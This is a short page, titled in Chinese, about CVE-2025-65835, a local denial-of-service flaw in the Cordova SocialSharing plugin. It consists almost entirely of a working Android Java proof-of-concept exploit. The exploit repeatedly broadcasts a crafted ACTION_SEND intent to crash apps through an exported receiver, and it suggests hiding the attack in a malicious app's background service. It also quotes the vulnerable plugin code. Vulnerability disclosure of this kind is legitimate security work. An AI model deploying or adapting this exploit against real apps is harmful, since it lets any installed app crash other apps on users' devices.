CVE-2025-65835 Cordova SocialSharing插件本地拒绝服务漏洞

// CVE-2025-65835 PoC - Local DoS via Exported Broadcast Receiver // This PoC demonstrates how any local app can crash apps using cordova-plugin-x-socialsharing public class ExploitActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Construct a malicious ACTION_SEND intent without EXTRA_CHOSEN_COMPONENT Intent maliciousIntent = new Intent(); maliciousIntent.setAction("android.intent.action.SEND"); maliciousIntent.setType("text/plain"); // Add extras but intentionally omit EXTRA_CHOSEN_COMPONENT // This will cause NullPointerException in the vulnerable receiver maliciousIntent.putExtra(Intent.EXTRA_TEXT, "Malicious payload"); maliciousIntent.putExtra("fake_extra", "trigger_crash"); // Send broadcast - no permission required since receiver is exported sendBroadcast(maliciousIntent); // Optional: Repeat to ensure persistent crash new Handler().postDelayed(() -> { for (int i = 0; i < 10; i++) { sendBroadcast(maliciousIntent); } }, 1000); Log.d("Exploit", "Malicious broadcast sent to trigger DoS"); } } // Alternative: BroadcastReceiver implementation for repeated attacks // Can be embedded in a malicious app's background service // Vulnerable code snippet (from plugin): /* public void onReceive(Context context, Intent intent) { if (Intent.ACTION_SEND.equals(intent.getAction())) { // VULNERABLE: No null check for EXTRA_CHOSEN_COMPONENT Parcelable chosenComponent = intent.getParcelableExtra(EXTRA_CHOSEN_COMPONENT); // This will crash if chosenComponent is null and used directly ComponentName component = (ComponentName) chosenComponent; // ... subsequent code accessing 'component' will throw NPE } } */